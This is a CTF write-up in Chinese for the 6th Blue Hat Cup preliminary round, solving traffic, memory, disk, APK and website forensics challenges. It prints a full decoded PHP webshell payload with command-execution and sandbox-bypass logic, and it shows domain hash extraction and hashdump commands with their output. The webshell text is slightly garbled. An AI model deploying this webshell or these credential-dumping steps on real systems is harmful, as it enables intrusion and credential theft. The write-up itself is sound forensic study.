Part1Misc

1domainhacker

  1. wireshark打开流量包,根据协议类型分类一下,找到HTTP请求,发现最后一个请求下载了rar压缩包。

    image-20220709163235030
  2. 将压缩包导出,发现需要解压密码,继续分析上面的流量包。

    将发送到服务器的payload进行url解密、php格式化得到原payload:

    a=@ini_set('display_errors''0');
    @set_time_limit(0);
    $opdir=@ini_get('open_basedir');
    if($opdir) {
     $ocwd=dirname($_SERVER['SCRIPT_FILENAME']);
     $oparr=preg_split('/;|:/',$opdir);
     @array_push($oparr,$ocwd,sys_get_temp_dir());
     foreach($oparr as $item) {
      if(!@is_writable($item)) {
       continue;
      }
      ;
      $tmdir=$item.'/.6d1a5';
      @mkdir($tmdir);
      if(!@file_exists($tmdir)) {
       continue;
      }
      @chdir($tmdir);
      @ini_set('open_basedir''..');
      $cntarr=@preg_split('/\\|//',$tmdir);
      for ($i=0;$i<sizeof($cntarr);$i++) {
       @chdir('..');
      }
      ;
      @ini_set('open_basedir','/');
      @rmdir($tmdir);
      break;
     }
     ;
    }
    ;
    ;
    function asenc($out) {
     return $out;
    }
    ;
    function asoutput() {
     $output=ob_get_contents();
     ob_end_clean();
     echo '08f'.'fe8';
     echo @asenc($output);
     echo 'd6098'.'e72860';
    }
    ob_start();
    try {
     $p=base64_decode(substr($_POST['yee092cda97a62'],2));
     $s=base64_decode(substr($_POST['q8fb9d4c082c11'],2));
     $envstr=@base64_decode(substr($_POST['p48a6d55fac1b1'],2));
     $d=dirname($_SERVER['SCRIPT_FILENAME']);
     $c=substr($d,0,1)=='/'?'-c '{$s}'':'/c '{$s}'';
     if(substr($d,0,1)=='/') {
      @putenv('PATH='.getenv('PATH').':/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
     } else {
      @putenv('PATH='.getenv('PATH').';C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;');
     }
     if(!empty($envstr)) {
      $envarr=explode('|||asline|||', $envstr);
      foreach($envarr as $v) {
       if (!empty($v)) {
        @putenv(str_replace('|||askey|||''=', $v));
       }
      }
     }
     $r='{$p} {$c}';
     function fe($f) {
      $d=explode(',',@ini_get('disable_functions'));
      if(empty($d)) {
       $d=array();
      } else {
       $d=array_map('trim',array_map('strtolower',$d));
      }
      return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
     }
     ;
     function runshellshock($d, $c) {
      if (substr($d, 01) == '/' && fe('putenv') && (fe('error_log') || fe('mail'))) {
       if (strstr(readlink('/bin/sh'), 'bash') != FALSE) {
        $tmp = tempnam(sys_get_temp_dir(), 'as');
        putenv('PHP_LOL=() { x; }; $c >$tmp 2>&1');
        if (fe('error_log')) {
         error_log('a'1);
        } else {
         mail('[email protected]''''''-bv');
        }
       } else {
        return False;
       }
       $output = @file_get_contents($tmp);
       @unlink($tmp);
       if ($output != '') {
        print($output);
        return True;
       }
      }
      return False;
     }
     ;
     function runcmd($c) {
      $ret=0;
      $d=dirname($_SERVER['SCRIPT_FILENAME']);
      if(fe('system')) {
       @system($c,$ret);
      } elseif(fe('passthru')) {
       @passthru($c,$ret);
      } elseif(fe('shell_exec')) {
       print(@shell_exec($c));
      } elseif(fe('exec')) {
       @exec($c,$o,$ret);
       print(join('
    '
    ,$o));
      } elseif(fe('popen')) {
       $fp=@popen($c,'r');
       while(!@feof($fp)) {
        print(@fgets($fp,2048));
       }
       @pclose($fp);
      } elseif(fe('proc_open')) {
       $p = @proc_open($c, array(1 => array('pipe''w'), 2 => array('pipe''w')), $io);
       while(!@feof($io[1])) {
        print(@fgets($io[1],2048));
       }
       while(!@feof($io[2])) {
        print(@fgets($io[2],2048));
       }
       @fclose($io[1]);
       @fclose($io[2]);
       @proc_close($p);
      } elseif(fe('antsystem')) {
       @antsystem($c);
      } elseif(runshellshock($d, $c)) {
       return $ret;
      } elseif(substr($d,0,1)!='/' && @class_exists('COM')) {
       $w=new COM('WScript.shell');
       $e=$w->exec($c);
       $so=$e->StdOut();
       $ret.=$so->ReadAll();
       $se=$e->StdErr();
       $ret.=$se->ReadAll();
       print($ret);
      } else {
    第六届蓝帽杯全国大学生网络安全技能大赛初赛WriteUp
       $ret = 127;
      }
      return $ret;
     }
     ;
     $ret=@runcmd($r.' 2>&1');
     print ($ret!=0)?'ret={$ret}':'';
     ;
    }
    catch(Exception $e) {
     echo 'ERROR://'.$e->getMessage();
    }
    ;
    asoutput();
    die();
    &p48a6d55fac1b1=Hc&q8fb9d4c082c11=vfY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZkaXImZWNobyBlZmE5MjNiYTUwNCZjZCZlY2hvIDFhNGJlODgxNWVmOA==&yee092cda97a62=YcY21k
  3. 发现结尾存在可疑的类似base64的参数,然后进行代码审计,发现可疑代码:

    $p=base64_decode(substr($_POST['yee092cda97a62'],2));
    $s=base64_decode(substr($_POST['q8fb9d4c082c11'],2));
    $envstr=@base64_decode(substr($_POST['p48a6d55fac1b1'],2));

    将底部post参数传入的数据截取第三个字符以后的文本,然后进行base64解码。

    其中,s是想要执行的命令,依次将流量包的$s解密即可知道攻击者执行的操作。

    依次解码后,其中一条命令如下:

    cd /d 'c:\Windows\Temp'&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

    将1.txt打包成rar压缩文件,然后增加密码:SecretsPassw0rds。

  4. 导出了rar压缩文件并且得到了压缩密码,直接解压即可得到mimitatz提取的信息。

    其中,NTLM即机器的hash:flag{416f89c3a5deb1d398a1a1fce93862a7}。

    image-20220709164029182

2domainhacker2

  1. 前面的做法和domainhacker一样,提取rar、得到解压密码。

  2. 解压后得到如下文件:

    image-20220709164302583
  3. 经过百度搜索,有了SYSTEM文件即可解密ntds.dit,得到相关数据库表获取系统用户的密码hash。

  4. 对ntds.dit进行信息提取,参考:http://www./10/hack-167955.htm。

  5. 首先,安装esedbexport,安装后使用下面的命令提取用户信息数据库表:

    esedbexport -m tables ntds.dit
    image-20220709170655239
  6. 然后,安装ntdsxtarct,安装后使用下面的命令提取出来域散列值信息:

    python dsusers.py ../datatable.4 ../link_table.7 output --syshive ../../../../domainhacker2_184c16876d41965a695f89232ae5392d/registry/SYSTEM --passwordhistory --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt
    image-20220709165737936
  7. 题目要求提交Administrator上一次密码的hash值,因此flag{07ab403ab740c1540c378b0f5aaa4087}。

Part2电子取证

3手机取证_1

  1. 签到题,出题人已经取证完毕,直接打开找到媒体图片。根据题目文件名搜索一下。

    image-20220709180610287
  2. 保存到本地,然后查看属性得到图片大小360×360,360yyds。

    35C0992FF76D2E70C9B742777CF70208

4手机取证_2

  1. 根据题目提示,去寻找姜总的快递单号。

  2. 在应用快照中找到Skype中和姜总的聊天记录。

    A77220BD49433717D098886A4EDE53EC
  3. 然后去Skype中找到聊天记录,即可找到姜总的快递单号:SF1142358694796。

    2E8F92365A199149D15BB0D82348943E

5计算机取证_1

  1. 拿到镜像文件,首先使用volatility查看镜像信息得到系统版本。

    python vol.py -f ../1.dmp imageinfo
    INFO    : volatility.debug    : Determining profile based on KDBG search...
              Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                         AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                         AS Layer2 : FileAddressSpace (/root/Desktop/1.dmp)
                          PAE type : No PAE
                               DTB : 0x187000L
                              KDBG : 0xf80003ffa0a0L
              Number of Processors : 1
         Image Type (Service Pack) : 1
                    KPCR for CPU 0 : 0xfffff80003ffbd00L
                 KUSER_SHARED_DATA : 0xfffff78000000000L
               Image date and time : 2022-04-28 05:54:55 UTC+0000
         Image local date and time : 2022-04-28 13:54:55 +0800
  2. 然后使用hashdump命令查看系统密码。

    python vol.py -f ../1.dmp --profile=Win7SP1x64 hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
    naizheng:1002:aad3b435b51404eeaad3b435b51404ee:d123b09e13b1a82277c3e3f0ca722060:::
    qinai:1003:aad3b435b51404eeaad3b435b51404ee:1c333843181864a58156f3e9498fe905:::
  3. 根据题目要求去获取taqi7的密码,将7f21caca5685f10d9e849cc84c340528进行md5解密即可得到密码即flag:anxinqi。

    image-20220709171522336

6计算机取证_2

  1. 使用volatility的plist命令查看所有进程。

    vol.py -f ../1.dmp --profile=Win7SP1x64 pslist
    image-20220709172051323
  2. 发现可疑文件名MagnetRAMCaptu,疑似RAM、Capture相关的进程,百度搜索后发现是内存镜像打包软件。因此flag即进程的pid:2192。

7计算机取证_3

  1. 题目要求进入bitlocker加锁的磁盘中找到office文件。

  2. 使用efdd软件在内存的dump文件中寻找密钥进行解密磁盘文件。

  3. 解密后得到恢复秘钥,然后挂载磁盘文件。

  4. 挂载后得到pass.txt、ppt、doc、txt四个文件。

    发现ppt和doc经过加密,因此猜测pass.txt是密码字典。

    image-20220709182223667
  5. 使用软件暴力破解后得到解压密码:287fuweiuhfiute,进入ppt得到Flag:

    image-20220709182420296

8计算机取证_4

  1. 要求找到TrueCrypt解密后的Flag。

  2. 使用efdd或取证大师提取TrueCrypt,找到取证大师的内存镜像解析工具。

    image-20220709182658832
  3. 得到TrueCrypt后导出秘钥文件,猜测上一题得到的名为新建文本文档.txt的文件为加密文件。

    image-20220709183132004
  4. 使用取证大师进行取证,发现可疑文件 哈哈哈.zip,导出。

    image-20220709183324360
    image-20220709183403714
  5. 使用ARCHPR暴力破解得到弱密码991314,解压后得到Flag:flag{1349934913913991394cacacacacacc}。

9程序分析_1

  1. 给出了apk,要求获得包名,直接拖入jadx。

  2. 找到AndroidManifest.xml中的package即包名:exec.azj.kny.d.c。

    image-20220709172850353

10程序分析_2

  1. jadx中发现只有一个名字比较规范正常的包minmtta.hemjcbm.ahibyws。进入该包即可找到MainActivity,一般情况下这里是程序入口:minmtta.hemjcbm.ahibyws.MainActivity。

    image-20220709173007071

11程序分析_3

  1. jadx分析,在入口发现一串疑似base64的代码,并且程序进行Base64.decode操作。

    image-20220709173007071
  2. base64解码后发现是一个域名,怀疑是服务器地址,flag即密文:aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6。

12程序分析_4

  1. jadx中寻找,除去android开头的内置类和tencent类,在剩余的a、b、c、d、e包中寻找类。

  2. 经过观察发现这些包下面的类名很相似,a-h,其中一个必定是安全检测类。

  3. 经过观察,发现其中一个类a有qeum关键字,猜测可能是虚拟机检测,提交类名a即可。

    image-20220709173440967

13网站取证_1

  1. 题目提示我们存在木马,要求我们找到链接密码。

  2. 第一时间想到一句话木马,直接搜索_POST发现一句话木马。Flag:lanmaobei666。

    image-20220709173646525

14网站取证_2

  1. 题目提示我们去找数据库的密码。

  2. ThinkPHP模板,直接去网站源码找到database.php,发现数据库密码是通过函数解密得出的:

    image-20220709173836626
  3. 跟入函数,发现存在密文、key、iv,感觉是AES加密,源码中发现关键字MCRYPT_RIJNDAEL_128。

    百度搜索后发现确实是AES加密,如果有php拓展直接运行应该就可以得到,没有拓展也可以在线解密。

    找到AES在线解密网站,密文、key已知,iv是key的sha1然后取前16位,在线解密即可得到Flag:KBLT123。

    <?php
    function my_encrypt(){
        $str = 'P3LMJ4uCbkFJ/RarywrCvA==';
        $str = str_replace(array('/r/n''/r''/n'), '', $str);
        $key = 'PanGuShi';
        $iv = substr(sha1($key),0,16);
        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
        mcrypt_generic_init($td, 'PanGuShi', $iv);
        $decode = base64_decode($str);
        $dencrypted = mdecrypt_generic($td, $decode);
        mcrypt_generic_deinit($td);
        mcrypt_module_close($td);
        $dencrypted = trim($dencrypted);
        return $dencrypted;
    }
    image-20220709174209620

15网站取证_3

  1. 根据题目提示,要求我们找到金额加密混淆的使用的salt。

  2. 直接搜索关键字money,找到对应位置的代码:

    image-20220709174343722
  3. 跟入加密函数,发现$key = ‘jyzg123456’,此处的key即加密的salt。

    function encrypt($data, $key = 'jyzg123456')
        
    {
            $key = md5($key);
            $x  = 0;
            $len = strlen($data);
            $l  = strlen($key);
            $char = '';
            $str = '';
            for ($i = 0; $i < $len; $i++)
            {
                if ($x == $l)
                {
                    $x = 0;
                }
                $char .= $key{$x};
                $x++;
            }
            for ($i = 0; $i < $len; $i++)
            {
                $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
            }
            return base64_encode($str);
        }